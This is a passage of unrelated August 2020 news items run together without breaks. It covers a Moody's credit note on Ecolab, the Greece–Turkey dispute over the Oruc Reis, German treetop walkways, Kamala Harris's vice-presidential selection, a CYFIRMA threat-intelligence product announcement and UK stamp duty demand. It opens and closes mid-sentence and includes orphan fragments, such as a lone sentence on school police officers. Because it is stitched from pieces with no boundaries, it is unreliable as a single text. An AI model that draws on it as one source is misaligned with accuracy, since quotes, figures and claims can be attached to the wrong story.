with close to half of revenues outside the US, Ecolab faces foreign currency exposure. Competitive activity and portfolio churn are also modest negatives in the credit profile, mitigated by Ecolab's strong competitive position and barrier-to-entry attributes mentioned above. The ratings anticipate continued M&A activity focusing on adjacencies and bolt-on acquisitions to supplement organic growth. However, large debt-financed acquisitions cannot be ruled out in a post-COVID world or if market valuations of target companies improve. Earlier this year Ecolab completed the separation of its Upstream Energy business, leaving only the Downstream Energy business in the portfolio, representing only about 7% of sales (down from 23% previously for the total energy business). Proceeds from the separation will be used to pay dividends, reduce debt and/or complete share repurchases. We expect the separation of the Upstream Energy business will strengthen margins and improve margin stability in Ecolab's remaining portfolio. Ecolab's liquidity is excellent, supported by significant cash balances ($1.4 billion of cash and cash equivalents as of June 30, 2020), a $2.0 billion multi-year credit facility due November 2022, and a $500 million 364-day revolving credit facility. The $2.0 billion credit facility supports the company's Prime-2 (P-2) short-term rating on US and European commercial paper programs. As of June 30, 2020, there was $314 million and $203 million outstanding under the Euro and US CP programs respectively; there were no borrowings under either credit facilities at the end of the reporting period. Moody's expects Ecolab will generate significant positive free cash flow in 2020 and 2021 (which we define as operating cash flow less capex and dividends). Upcoming debt maturities are comprised of $1.02 billion of senior notes due 2021 and $500 million of senior notes due 2022. The current issuance and subsequent repayment of the 2021 senior notes and 2023 private placement notes eliminates refinancing risk, extends the maturity profile and adheres to management's prudent debt management strategy. The positive outlook reflects our expectation that management will continue to target 2.0x net leverage (before Moody's adjustments) and adhere to a balanced approach to share repurchases, acquisitions, and debt management so as to protect credit metrics. The positive outlook also anticipates continued organic and inorganic growth in EBITDA over the next 12-18 months to offset any stress in metrics resulting from the loss of EBITDA from the spin off of the upstream energy business. FACTORS THAT COULD LEAD TO AN UPGRADE OR DOWNGRADE OF THE RATINGS The ratings could be upgraded if Ecolab continues to target net unadjusted leverage at 2.0x (roughly 2.4x on a Moody's adjusted basis) while retained cash flow to debt is sustained above 25%; achieving these metrics might require management to use a portion of any separation proceeds to reduce debt. The ratings could be downgraded if Ecolab were to change its financial philosophy to target higher unadjusted net leverage, i.e, closer to 2.5x, or if large acquisitions stress the balance sheet with adequate recovery extending beyond a two year horizon. ESG factors are not material to the current rating action. Environmental, social and governance factors in general, and environmental risks specifically, are not likely to be material considerations in the rating process going forward. Ecolab buys, reformulates, processes and sells large quantities of commodity and specialty chemicals, and has 28 sites in the US subject to waste disposal site cleanup activities imposed by CERCLA. However, Ecolab's environmental profile is more favorable than most in the industry as its programs and services target food safety, water treatment, cleaner industrial water, sanitized spaces and energy conservation to the food, healthcare, industrial, energy and hospitality markets. Governance is strong and reasonably transparent with an independent board and clear and consistent financial policies including targeted net leverage (unadjusted) of 2.0 times. Ecolab Inc. (Ecolab), headquartered in St. Paul, Minnesota, is a leader in institutional, water, hygiene and energy technologies and services that provide and protect clean water, safe food, abundant energy and healthy environments. Revenues are geographically diverse with about 58% of revenues in the US, 24% in EMEA, 12% in Asia, and 6% in LA. Ecolab delivers programs and services to the food, energy, healthcare, industrial and hospitality markets in more than 170 countries. Ecolab had revenues from continuing operations of $12.2 billion for the twelve months ended June 30, 2020. The principal methodology used in these ratings was Chemical Industry published in March 2019 and available at https://www.moodys.com/researchdocumentcontentpage.aspx?docid=PBC_1152388. Alternatively, please see the Rating Methodologies page on www.moodys.com for a copy of this methodology. REGULATORY DISCLOSURES For further specification of Moody's key rating assumptions and sensitivity analysis, see the sections Methodology Assumptions and Sensitivity to Assumptions in the disclosure form. Moody's Rating Symbols and Definitions can be found at: https://www.moodys.com/researchdocumentcontentpage.aspx?docid=PBC_79004. For ratings issued on a program, series, category/class of debt or security this announcement provides certain regulatory disclosures in relation to each rating of a subsequently issued bond or note of the same series, category/class of debt, security or pursuant to a program for which the ratings are derived exclusively from existing ratings in accordance with Moody's rating practices. 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Moody's general principles for assessing environmental, social and governance (ESG) risks in our credit analysis can be found at https://www.moodys.com/researchdocumentcontentpage.aspx?docid=PBC_1133569. The Global Scale Credit Rating on this Credit Rating Announcement was issued by one of Moody's affiliates outside the EU and is endorsed by Moody's Deutschland GmbH, An der Welle 5, Frankfurt am Main 60322, Germany, in accordance with Art.4 paragraph 3 of the Regulation (EC) No 1060/2009 on Credit Rating Agencies. Further information on the EU endorsement status and on the Moody's office that issued the credit rating is available on www.moodys.com. Please see www.moodys.com for any updates on changes to the lead rating analyst and to the Moody's legal entity that has issued the rating. Please see the ratings tab on the issuer/entity page on www.moodys.com for additional regulatory disclosures for each credit rating. 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Greece condemns Turkish 'provocation' as maritime dispute deepens Turkey has dispatched a research vessel for exploration off a Greek island, heightening tensions over disputed maritime rights Greece on Tuesday demanded that Turkey withdraw a research ship at the heart of their growing dispute over maritime rights and warned it would defend its sovereignty, calling for an emergency meeting of EU foreign ministers to resolve the crisis. Tensions were stoked Monday when Ankara dispatched the research ship Oruc Reis accompanied by Turkish naval vessels off the Greek island of Kastellorizo in the eastern Mediterranean. In a televised statement, Greek Foreign Minister Nikos Dendias urged Ankara to "immediately" remove the Oruc Reis from Greek waters. "We call on Turkey to immediately depart from the Greek continental shelf," Dendias said. "We make it clear that Greece will defend its sovereignty." The incident is the latest spat over energy exploration in the gas-rich eastern Mediterranean, a frequent source of disputes between Turkey and neighbours including Greece, Cyprus and Israel. On the instructions of Greek Prime Minister Kyriakos Mitsotakis, Dendias said he had asked for an emergency meeting of the European Union foreign affairs council to discuss "Turkey's growing provocation and delinquency". A spokesman for EU foreign policy chief Josep Borrell said the situation was deeply concerning and needed to be solved through dialogue. "Apparently the developments on the ground unfortunately show that... more needs to be done in order to defuse the tensions and reverse the very negative and unfortunate trend of escalation," spokesman Peter Stano told reporters. "That's why (Borrell) stated that he is deploying all efforts necessary to re-establish the dialogue, positive constructive dialogue and to facilitate the re-engagement, and these efforts are ongoing." Marine tracking on Tuesday located the vessel southeast of the island of Crete. It is escorted by a Turkish navy flotilla and shadowed by Greek warships. An official Turkish picture shows the Oruc Reis escorted by five warships. Story continues Turkey has announced the vessel would carry out activities between August 10 and 23. Turkish Foreign Minister Mevlut Cavusoglu said Tuesday his country would step up energy exploration in the eastern Mediterranean and would not "compromise" its rights. Cavusoglu said Ankara would issue licences for new areas in the "western part of our continental shelf" from the end of August. "We will conduct all kinds of seismic research, drilling activities. Our determination is absolute," Cavusoglu told reporters. "We will defend the rights of Turkey... in the eastern Mediterranean and we will not compromise in any way on this," he said. A similar crisis last month was averted after Turkey pulled the Oruc Reis back to hold talks with Greece and rotating EU chair Germany. But the mood soured last week after Greece and Egypt signed an agreement to set up an exclusive economic zone in the region. - 'Antagonism and distrust' - Mitsotakis on Monday conferred with his military chiefs and spoke with EU Council President Charles Michel and NATO Secretary General Jens Stoltenberg. Borrell on Sunday called Turkey's actions "extremely worrying" and a recipe for "greater antagonism and distrust". Turkish President Recep Tayyip Erdogan sounded a slightly more conciliatory note after a meeting with his own ministers later Monday. "Let us all come together as Mediterranean countries and find a formula that protects all of our rights," Erdogan said in a national address. But Erdogan added: "We cannot allow (nations) to ignore a big country like Turkey and try to imprison us to our shores." Stoltenberg urged respect for international law during talks on Monday with the Greek premier. "The situation must be resolved in a spirit of Allied solidarity and in accordance with international law," Stoltenberg tweeted. The Turkish foreign ministry has said the Greece-Egypt agreement was "null and void". Egypt, Cyprus and Greece have likewise denounced a contentious deal, including a security agreement, signed last year between Ankara and the UN-recognised government in Libya. Greece, Cyprus and Israel in January signed an agreement for a huge pipeline project to transport gas from the eastern Mediterranean to Europe despite Turkey's hostility to the deal. burs-jph/gd By Trend Azerbaijani Foreign Minister Jeyhun Bayramov is holding meeting with his Turkish counterpart Mevlut Cavusoglu in Turkey's capital Ankara, Trend reports referring to Azerbaijan's Ministry of Foreign Affairs on August 11. According to the ministry, following the FMs' tet-a-tet meeting, an expanded meeting between the two countries' officials will be held. Then the foreign ministers of the two countries will hold a press conference. -- Follow us on Twitter @AzerNewsAz Advertisement If you go down to the woods in Germany, you'll be sure of a mesmerising surprise. Scattered across the country is a mix of incredible Ewok-village-style treetop walkways offering spectacular views over surrounding forests, rivers and mountains and featuring twisted walkways, slides and rope bridges. Wind your way down to see which path piques your interest Baumwipfelpfad Bayerischer Wald At 4,265ft in length, the Baumwipfelpfad Bayerischer Wald is the world's longest treetop walkway At the centre of the spiralled footpath are three 108-feet-high (33m) fir trees There are various side attractions for braver park-goers, including rope bridges and balance beams The views from the top of the main egg structure are simply breathtaking, as the pair pictured are no doubt aware The Baumwipfelpfad Bayerischer Wald (Bavarian Forest Treetop Walk) in the Bavarian Forest National Park is the longest treetop walkway in the world, running to 4,265ft in length (1,300m). Along the way, there are various side attractions for braver park-goers, including rope bridges and balance beams. The highlight is a 144-foot-high (44m) egg-shaped structure at the end of the walkway, which takes tourists on a twisty-turn-y journey through the forest canopy, with breathtaking views from the top. At the centre of the spiralled footpath are three 108-feet-high (33m) fir trees, so that visitors are continually surrounded by woodland. For more information visit www.baumwipfelpfade.de. Baumwipfelpfad Schwarzwald Nestled in the Black Forest, the Baumwipfelpfad Schwarzwald features a 4,101-foot-long treetop walkway The piece de resistance is a 180-foot-long (55m) spiralling tunnel slide from the top of the observation tower Visitors move along a walkway that meanders through a mix of beech trees, firs and spruces Nestled in the Black Forest, the Baumwipfelpfad Schwarzwald (Black Forest Treetop Walk) features a 4,101-foot-long (1,250m) treetop walkway, which is 65 feet high (20m) and meanders through a mix of beech trees, firs and spruces. The lofty footpath gradually leads to a 131-foot-high (40m) observation tower crafted out of wood and steel. The piece de resistance is a 180-foot-long (55m) spiralling tunnel slide from the top of the tower, which takes you to the exit. It costs 2.00 per ride on the slide. For more information visit www.baumwipfelpfade.de. Baumwipfelpfad Saarschleife Ascend Baumwipfelpfad Saarschleife and you'll be rewarded with spectacular views of the Saarschleife, a dramatic loop in the river Saar Visitors soak up the sublime river views from the top deck of the observation tower The path was constructed using 35,314 cubic feet of fir and larch wood, plus 100 tonnes of steel The Baumwipfelpfad Saarschleife walkway is 4,101 feet long (1,250m) and ends at the top of an 82ft (25m) observation tower. From the top, visitors are afforded spectacular views of the Saarschleife, a dramatic loop in the river Saar that cuts through the woodland. Interactive signs along the way reveal forest-y facts and children will love the on-site slide and rope bridge. The path, which opened in 2016, was constructed using 35,314 cubic feet (1,000 cubic metres) of fir and larch wood, plus 100 tonnes of steel. For more information visit www.baumwipfelpfade.de. Steigerwald Baumwipfelpfad The Steigerwald Baumwipfelpfad is a wooden footbridge that spirals from the forest floor to the highest branches. This picture is courtesy of Creative Commons licensing and appears on the walkway's Flickr page It culminates in a 137-foot-high observation tower that encircles a public space and a singular tree. This image is courtesy of creative commons licensing The observation tower seen enveloped by dense forest, which rolls on as far as the eye can see. This magical bird's eye view is published here courtesy of creative commons licensing Julia Lanig, who recently visited the footpath, told MailOnline Travel that the treetop path and tower are 'really impressive'. This image is published here courtesy of creative commons licensing The Steigerwald Baumwipfelpfad is a 3,772-foot-long (1,150m) wooden footbridge in southern Germany that spirals from the forest floor to the highest branches. It culminates in a 137-foot-high (42m) observation tower that encircles a public space and a singular tree. Julia Lanig, who recently visited the footpath, told MailOnline Travel that the treetop path and tower are 'really impressive'. She added: 'The footbridge was easy to walk and the 360-degree view from the top was certainly worthwhile. I could see for several kilometres and enjoyed the silence and nature from above the tree line. The visit took me around two-and-a-half hours in total.' For more information visit www.baumwipfelpfadsteigerwald.de. Baumwipfelpfad im Naturerbezentrum Rugen Baumwipfelpfad im Naturerbezentrum Rugen - a stunning treetop walkway with an observation tower to crown it all The Naturerbe Zentrum Rugen is a nature park on the German island of Rugen in the Baltic Sea A mesmerising view of the hypnotic observation tower crafted, like the lower-level pathway, from larch wood and Douglas fir Take a step back in time at Naturerbe Zentrum Rugen on the German island of Rugen, where a footpath leads you among the mighty treetops of an ancient beech forest. The zigzagged pathway runs for 4,101 feet (1,250m) through a pristine forested area and past numerous activity stations, so you can learn about the nature as you go. The crowning glory is a 131-foot-high (40m) observation tower, modelled after an eagle's nest and built, like the lower-level pathway, from larch wood and Douglas fir. Visitors are rewarded with a panoramic view of the treetops from the top deck, along with parts of Rugen, the waters of the Little Jasmund Bodden lagoon and the white sands of Prorer Wieck bay. For more information visit www.baumwipfelpfade.de. Baumkronenpfad Nationalpark Hainich The Baumkronenpfad Nationalpark Hainich is 'one of the most beautiful treetop paths in Germany', the creators boast To ensure the experience of exploring it is a leisurely one there are sheltered pavilions along the way for visitors to rest in and soak up the green views The walkway leads to a 144-foot-high (44m) circular observation tower crafted out of concrete The Baumkronenpfad Nationalpark Hainich is 'one of the most beautiful treetop paths in Germany', the creators boast. To ensure the experience of exploring it is a leisurely one there are sheltered pavilions along the way for visitors to rest in and soak up the green views. Eventually, the 1,771-foot-long (540m) walkway reaches a 144-foot-high (44m) circular observation tower crafted out of concrete. From the top of the roofed turret there are impressive panoramic views over the fertile Thuringian Basin and the Hainich region, which is home to the largest contiguous deciduous forest in Germany. For more information visit www.baumkronen-pfad.de. Skywalk Allgau The Skywalk Allgau, which opened in 2010, is a walkway suspended above the evergreen forests of Allgau in Bavaria Through clearings in the woodland, it is possible to see the shimmering waters of Lake Constance and the Alps For the adventurous, there is a tube slide option for descending to the forest floor Skywalk Allgau is 1,771 feet long and would delight any self-respecting Ewok The Skywalk Allgau, which opened in 2010, is a walkway suspended above the evergreen forests of Allgau in Bavaria, southern Germany. The 1,771-foot-long (540m) path weaves its way through the treetops and to the edge of the forest. At this point it is possible to see the shimmering waters of Lake Constance and the majestic Alps. For a loftier viewpoint, make your way to the 131-foot-high (40m) steel mast-like observation tower. You can get down from the tower via a staircase, an elevator or there is a tube slide for the more adventurous. For more information visit www.skywalk-allgaeu.de. Baumkronenpfad Beelitz-Heilstatten The Beelitz-Heilstatten treetop path, built from wood and steel, opened in 2015 The 1,049-foot-long walkway winds its way around the eerie ruins of a former women's lung healing facility The Beelitz-Heilstatten treetop path opened in 2015 on the site of a former women's lung healing facility in Brandenburg. The 1,049-foot-long (320m) wood and steel walkway winds its way around the eerie ruins of the sanatorium, which also served as a military hospital during both World Wars. The list of patients admitted to the now derelict facility includes a young Adolf Hitler. Another attraction is a 131-feet-tall (40m) viewing tower, which offers some spectacular vistas across the densely forested Flaming region all the way to the bustling city of Berlin. There are 200 steps to the top or you can hop in an elevator. For more information visit baumundzeit.de. Panarbora Baumwipfelpfad A 5,364-foot-long (1,635m) treetop path is the centrepiece of the Panarbora nature adventure park The treetop path leads to a 131-foot-high (40m), vertigo-inducing lookout tower, which was built from 30,723 cubic feet of wood and 200 tonnes of steel The Panarbora nature adventure park opened in 2015 on the outskirts of Waldbrol, a small provincial town in western Germany. The name Panarbora is derived from the Latin word for tree - 'arbour' - and 'Pan', the Greek god of nature. A 5,364-foot-long (1,635m) treetop path is the centrepiece of the park. This leads to a 131-foot-high (40m) vertigo-inducing lookout tower. In total, 30,723 cubic feet (870 cubic metres) of wood was used to build the walkway and tower, along with 200 tonnes of steel. Another popular attraction at the park is a children's adventure playground. For more information visit panarbora.de. The new agreement plainly states the officers are not the school disciplinarian, and they will not enforce school regulations or act in place of school mental health providers. In addition, while the officers will investigate criminal misconduct, the schools principal or a person he or she designates will oversee student code of conduct and routine disciplinary violations. Joe Biden picks California Senator Kamala Harris as Vice Presidential running mate California Sen. Kamala Harris is Joe Bidens choice for vice president. Following months of speculation and debate over whether Biden should pick a Black woman as his running mate, Harris was named Tuesday as Bidens choice. Biden reportedly had called Rep. Karen Bass (D-Calif.), former Ambassador Susan Rice, and three other candidates to inform them on Tuesday morning that they were not his pick. ADVERTISEMENT Harris had routinely been seen as the top pick, but her clashes with Biden during the Democratic debates appeared to give Biden pause. However, Biden had been photographed in recently weeks with talking points which noted not to hold a grudge against Harris. Sworn in as Senator in 2017, Harris became the second African American woman and the first South Asian-American senator in history. She has said that her life as a prosecutor and fighting justice was inspired by her mother, an Indian American immigrant, activist and breast cancer researcher. Growing up in Oakland, Harris had a stroller-eye view of the Civil Rights movement, according to her official biography. Through the example of courageous leaders like Thurgood Marshall, Constance Baker Motley, and Charles Hamilton Houston, Harris said she learned the kind of character it requires to stand up to the powerful and resolved to spend her life advocating for those who could not defend themselves. ADVERTISEMENT After earning an undergraduate degree from Howard University and a law degree from the University of California, Hastings, she began her career in the Alameda County District Attorneys Office. In 2003, Harris became the District Attorney of the City and County of San Francisco. Among her achievements as District Attorney, Harris started a program that gives first-time drug offenders the chance to earn a high school diploma and find employment. Having completed two terms as the District Attorney of San Francisco, Kamala was elected as the first African American and first woman to serve as Californias Attorney General. In this role, she worked tirelessly to hold corporations accountable and protect the states most vulnerable people, according to her biography. Over the course of her nearly two terms in office, Harris won a $25-billion settlement for California homeowners hit by the foreclosure crisis, defended Californias landmark climate change law, protected the Affordable Care Act, helped win marriage equality for all Californians, and prosecuted transnational gangs that trafficked in guns, drugs, and human beings. Since taking office, she has introduced and cosponsored legislation to raise wages for working people, reform our broken criminal justice system, make healthcare a right for all Americans, address the epidemic of substance abuse, support veterans and military families, and expand access to childcare for working parents. Earlier Tuesday, President Donald Trump suggested that some men are insulted that Biden had long ago narrowed his search to women. However, Trumps statements were seen as a last-minute bid to rattle the Democrats. Womens groups and the civil rights community in recent days had blasted media members and individuals on social platforms for racist and sexist attacks against Harris and others who were considered in the vice-presidential sweepstakes. In an open letter by nearly 700 Black women leaders, the attacks were roundly denounced. Black women are many things. We are business executives, political strategists, and elected officials, philanthropists, and activists, the letter, circulated throughout the media and posted to various social media accounts, read. We are health and wellness practitioners. We are entertainers and faith leaders. We are wives, mothers, daughters, educators, and students. We set and shift culture. We build power, and we are powerful. Counting among the many Black women who signed the open letter are Dr. Johnnetta B. Cole, Maya Cummings, Dr. Hazel Dukes, Suzanne DePasse, Valeisha Butterfield Jones, Cora Masters Barry, Melanie Campbell, and Karen Boykin-Towns. We are the highest propensity voters in this nation. We are a coalition of Black women leaders, who, in this inflection point of the Black liberation movement, where people around the world are galvanized to action, know that the time for Black women in the United States is now, the women penned in the letter. Earlier, 100 prominent Black men including Sean Diddy Combs, Charlamagne Tha God, NBA Star Chris Paul, Bakari Sellers, and rapper Doug E. Fresh, signed a letter of solidarity calling for Biden to select a Black woman. As someone who has said throughout the campaign that VP Joe Biden needs to choose a Black woman VP, the urgency for that pick has gone from something that should happen to something that has to happen. It disgusts us that Black women are not just being vetted in this VP process but unfairly criticized and scrutinized, the men wrote in the missive. Was Joe Biden ever labeled too ambitious because he ran for president three times? Should President Obama not have made him the VP because he had to worry about his loyalty when he clearly had ambitions to be president himself? Why does Senator Kamala Harris have to show remorse for questioning Bidens previous stance on integrated busing during a democratic primary debate? CYFIRMA, a threat discovery and cyber-intelligence analytics company, today introduced DeCYFIR, a cloud-based, AI-powered cybersecurity platform. DeCYFIR is designed to empower businesses with the ability to discover threats from the deepest trenches in cyberspace, decode signals from noise to gain useful insights, and apply remedial actions against cyber criminals before an actual attack occurs. The COVID-19 pandemic has increased the worlds digital dependency, and along with it, increased businesses vulnerability to cyberattacks. Massive data fraud and theft as well as cyberattacks have been ranked amongst the top five risks globally in the next 10 years in terms of likelihood, according to the Global Risks Report 2019 published by the World Economic Forum. Kumar Ritesh, Founder and CEO of CYFIRMA said: The global pandemic, trade wars and geo-political tensions that have brought great uncertainty to the economy have also become a catalyst triggering transformation in the ways we manage and operate technology. They have accelerated digitalization and brought about the inevitable rise in intensity and sophistication of cyberthreats. Remote working has resulted in new attack vectors, integration of business applications with third-party systems can create new vulnerabilities, and employees unaccustomed and untrained in cybersecurity practices can heighten digital risk. Leaders with an effective defense strategy would know the threats that are coming towards them. Im excited to introduce our enhanced threat discovery and cyber-intelligence platform, DeCYFIR, to businesses as we know cyber-intelligence is the new currency that will power growth and allow businesses to thrive in the post-pandemic digital economy. Predictive, Contextual, Comprehensive With the DeCYFIR platform, businesses identify potential threats at the early planning stage of cyberattacks. The platform picks up threat indicators as observed in deep/dark web, hackers forums, and other closed communities including our own research, and predicts upcoming attacks based on a set of probability mathematical models and analytical engines. DeCYFIR provides quality intelligence to businesses with information with industry, geography and technology specific information. The platform has the unique capabilities to connect the dots between hackers, exploit campaigns, motivations, methods, and attack readiness. All these combined, offers businesses complete contextual visibility of their threat landscape. DeCYFIR redefines quality cyber-intelligence in its unique ability to provide all three layers of insights (strategic, management and tactical). When the insights are harnessed in totality, business leaders can make accurate decisions and direct scarce cybersecurity resources to mitigate risks according to threat severity. With DECYFIR, cyber threats and signals are automatically discovered and decoded. These insights are provided in real-time so that security teams are always kept a step head of their cyber adversaries. DeCYFIRs Key Modules DeCYFIR consists of several modules, each designed to help businesses strengthen their cybersecurity postures and be better equipped to handle the risks of digitalization: Threat Visibility and Intelligence (TVI) TVI provides a comprehensive multi-dimensional strategic, management and tactical intelligence and cyber insights. This module answers WHO, WHY, WHAT, WHEN and HOW of looming cyber threats, and provide recommendations for remedial actions. With TVI, businesses can predict a potential cyberattack and prevent financial and reputational damage. Cyber Situational Awareness (CSA) Real-time cyber insights, trends, cyber news, technology, regulatory & law, policy changes, emerging cyber-attacks, vulnerabilities, and exploits all tailored to ensure relevance to a business geography, industry, and technology. When equipped with comprehensive and relevant risk telemetry, executives can make business and investment decisions accurately. Cyber Incident Analytics (CIA) Enable businesses to comprehensively respond to security incidents with not only tactical information but also strategic-level insights by mapping associated campaign, hacker's affiliation, motive, and mechanism. By taking an intelligence-based approach to managing cyber incidents, businesses can prevent the occurrence of similar cyberattacks. Additionally, the enhanced version of DeCYFIR includes the following key features: Risk Dossier A threat playbook that provides complete contextual and correlated details of threats discovered by DeCYFIR. This provides businesses with the ability to attribute different elements of threats, gain a holistic view and decide on the remediation actions required. Threat Search Engine A dedicated search engine that enables businesses to search the dark, deep and surface web, P2P channels, bin sites and other data sources to retrieve information related to specific cyber events, attacks, incidents, malware, vulnerabilities, campaign, and threat actors. The powerful search engine also correlates the findings, decipher the signals, and connects the dots to give security professionals timely visibility to evolving threats and risks at their fingertips. Complete Threat Landscape View A single pane of glass that offer business leaders and security teams a view into their business external threat landscape. The unified view of threats and risks, when assessed holistically, provide the full perspective of the organizations overall cyber posture. Threat View Threat view provides cyber security teams insights into digital risk, vulnerabilities, cyberattacks, hackers interest, Early Warning/Out of Band, malware, phishing, and indicators of compromise (IoCs) with proprietary risk score to gauge the impending cyber threats and risks. Risk View Risk view enables business leaders to understand how their businesses have been trending vis-a-vis others in the industry and charting their external threat landscape against different verticals of cyber posture management. Analysis of external risk that impacts their businesses with data tailored specific to their environment. Insights are relevant and timely with the ability to predict impending attacks. Risk Score and Hackability Score Risk Score and Hackability Score are calculated using proprietary algorithms and mathematical models. With Risk Score, businesses gain a vantage view of their external threat landscape and understand how they stack up against their industry peers. Hackability Score serves as an indicator on how hackable businesses are and their level of attractiveness as a potential target. CYFIRMA, which is recently listed in Gartner Market Guide for Security Threat Intelligence Products and Services 2020, works with many major businesses including the likes of Digital Hearts, and other conglomerates in the high-tech manufacturing, media, financial services, consumer goods, retail and F&B industries to unravel cyber risks and threats. Jun Watahiki, Head of Security Operations Centre at Digital Hearts, commented: At Digital Hearts, we operate a state-of-the-art Managed Security Services (MSS) platform for customers across many industries. Clients rely on us to keep their data and assets safe and secure. We have been collaborating with CYFIRMA for the past year to integrate their threat intelligence and indicators of compromise (IoCs) into our platform. The threat intelligence provided by CYFIRMA is distinctly different from the variety available in the market the ability to correlate threat indicators with threat actors is a powerful feature. Combined with our managed security offerings, CYFIRMA has contributed to helping our clients strengthen their security controls, and mitigate risks associated with malware and other cyberattacks. We chose CYFIRMAs threat visibility and intelligence product because we want our clients to have the advantage of quality cyber intelligence. The partnership with CYFIRMA enables us to deliver our more unique offerings to the Japan market, added Watahiki. As digital landscape expands and hackers and state-sponsored groups extend their cyber warfare into businesses and homes, reining in cyber threats and risk requires a mindset shift towards an intelligence-based predictive approach. The DeCYFIR platform is designed to decode threats and uncover hidden signals in the hyper-connected world. ABOUT CYFIRMA Headquartered in Singapore and Tokyo, CYFIRMA is a leading threat discovery and cybersecurity platform company. Its cloud-based AI and ML-powered cyber intelligence analytics platform helps organizations proactively identify potential threats at the planning stage of cyberattacks, offers deep insights into their cyber landscape, and amplifies preparedness by keeping the organizations cybersecurity posture up-to-date, resilient, and ready against upcoming attacks. CYFIRMA works with many Fortune 500 companies. The company has offices and teams located in Singapore, Japan and India. Official websites: http://www.cyfirma.com http://www.cyfirma.jp Rishi Sunak's stamp duty cuts have sparked a surge in the number of home buyers and prompted an all-out bidding war as people fight to get on the property ladder. The Chancellor last month gave prospective buyers a shot in the arm as he raised the threshold on stamp duty from 125,000 to 500,000 for those buying homes in England and Northern Ireland until March 31, 2021. The move was part of the Chancellor's crucial coronavirus recovery package, giving buyers a six-month 'holiday' from paying the charge on most homes in a bid to kickstart the market and aide the recovery of the UK economy. In the wake of the announcement, the number of first-time buyers has increased more than any other type of purchaser - up by 45 per cent on last year, according to Hamptons International. And the number of applicants registering with a budget between 500,000-750,000 has risen by a staggering 92 per cent year-on-year. Nearly a third (30%) of homes sold since the stamp duty holiday had offers three or more buyers - up from one in four (25%) during the same period last year. Homes in Yorkshire & Humber are most likely to receive offers from multiple buyers, with 39% of homes in the region sold with offers from three buyers or more The number of applicants registering with a budget between 500,000-750,000 has risen 92% year-on-year, followed by those with a budget between 750,000-1million The number of applicants registering to buy in Great Britain has risen 38% in the month since the stamp duty holiday was announced on July 8, compared with same period last year What are the changes to stamp duty announced by Rishi Sunak? From July 8 until March 31 2021, buyers in England and Northern Ireland will pay no stamp duty on the first 500,000 of their purchase when they move home. The measure, which temporarily increases the 'nil rate' band of stamp duty from 125,000 to 500,000, will reduce the average stamp duty bill for a main home from 4,500 to zero. Buyers can potentially save up to 15,000. If you buy a property over 500,000 amount, then you can still save money and can take off 15,000 what you would have paid prior to the announcement. Buy-to let investors and people looking to purchase a second home will also benefit from the changes. But it has also been suggested that some sellers may now be tempted to put their asking prices up due to the tax savings that buyers will be making. Stamp duty applies in England and Northern Ireland and people usually pay the tax on homes priced above 125,000. Advertisement The number of applicants registering to buy in Great Britain has risen 38 per cent in the month since the stamp duty holiday was announced on July 8, compared with the same period last year. London saw 55 per cent more first time buyers register than the same time last year, according to the analysis by Hamptons International. Applicants numbers rose in every region, with Scotland recording the biggest year-on-year uplift (up 77%), followed by the East of England (up 53%) and the South East (up 52%). But the price brackets where buyers can take advantage of the full 15k saving have seen the biggest increase. The number of applicants registering with a budget between 500,000-750,000 has risen 92 per cent year-on-year, followed by those with a budget between 750,000-1million. Applicants registering to buy in country locations have risen the most, up 49 per cent compared with the same period last year. The number of first-time buyers increased more than any other type of purchaser. First-time buyers were already exempt on the first 300,000 of a purchase. Raising this to 500,000 would save them up to an additional 10,000. First time buyer numbers are up most in cities across southern England with London seeing 55 per cent more first time buyers register than at the same time last year. Nearly a third (30%) of homes sold since the stamp duty holiday had offers three or more buyers - up from one in four (25%) during the same period last year. Homes selling for 750,000 to 1m have recorded the biggest year-on-year improvement, with homes selling with offers from more than three buyers rising by 13 per cent. The average home achieved 98.6 per cent of its initial asking price a record high and up from 97.8 per cent during the same period last year. The number of first-time buyers increased more than any other type of purchaser, despite being the group with the least to gain from the stamp duty holiday. First time buyer numbers are up most in cities across southern England with London seeing 55% more first time buyers register than at the same time last year MORTGAGE BORROWERS 'MAY NEED TO MOVE SWIFTLY AS RATES CREEP UP' A period of rock-bottom mortgage rates may be coming an end amid signs that rates are starting to creep up, according to analysis. The choice of fixed-rate and variable deals is also shrinking, Moneyfacts.co.uk found. There were 2,526 mortgage products in the market on August 1, marking a fall of 202 products compared with the 2,728 deals available at the start of July. Moneyfacts said that, following historic lows reached last month, average rates are starting to increase. Average two- and five-year fixed rates across all deposit sizes have increased by 0.09 percentage points since the start of July, to stand at 2.08% and 2.34% respectively. Low-deposit loans, which lenders consider to be more 'risky', have seen particularly significant rate increases, Moneyfacts said. The recent stamp duty cut and the reopening of the housing market after it was temporarily put on pause to help limit the spread of coronavirus has helped to encourage more buyers into the market in recent weeks. Eleanor Williams, a finance expert at Moneyfacts.co.uk, said: 'The introduction of the stamp duty holiday and record low average rates following an enforced period of shutdown for the market has seen demand for mortgages escalate in recent weeks. 'However, product choice and availability remains a key issue for mortgage borrowers. Those looking to secure a new deal now may wish to move swiftly.' Advertisement The stamp duty cut, which temporarily increases the 'nil rate' band of stamp duty from 125,000 to 500,000, will reduce the average stamp duty bill for a main home from 4,500 to zero. It means buyers can potentially save up to 15,000. If you buy a property over 500,000 amount, then you can still save money and can take off 15,000 what you would have paid prior to the announcement. Potential homebuyers can work out their bill with our stamp duty calculator. Property experts said the step could encourage some 'missing movers' back to the market. On the housing market, Mr Sunak said property transactions fell by 50 per cent in May and house prices had fallen for the first time in eight years. Aneisha Beveridge, Head of Research at Hamptons International, said: 'The introduction of the stamp duty holiday has given a further boost to the housing market which was already showing strong signs of recovery even before its introduction. 'The number of people looking to buy a home has risen across every region in Great Britain since the announcement, with Southern areas recording the biggest increase. It's in these regions, where house prices tend to be higher, that buyers stand to gain the most from the holiday. 'While it's still early days, the data suggests that house prices seem to be stable, with homes under offer achieving a record share of their initial asking price. 'But perhaps contrary to expectations, it's Northern markets which have performed most strongly. 'Price growth across the North has lagged significantly behind that of the South over the last decade, and with more capacity for prices to rise, perhaps this year will mark a turning point. It also demonstrates that there are longer-term factors influencing the market too.' Homebuyers rushed online to look for their next home within half an hour of the Chancellor's immediate stamp duty cut. Rightmove reported a 22 per cent jump in traffic to its site within 30 minutes of Rishi Sunak confirming the cut in his mini-Budget on July 8. The property search website said the cut would produce savings of up to 15,000 in some regions of the country. The average price of a home in the south east is 419,595, which would generate a saving of 10,980 as a result of the eight-month stamp duty 'holiday' announced by the Chancellor. The biggest saving would be in London at 15,000, based on an average house price of 628,284. By contrast, the region that would see the lowest saving of 646 is the North East, where the average value of a home is 157,291. Applicants registering to buy in country locations have risen the 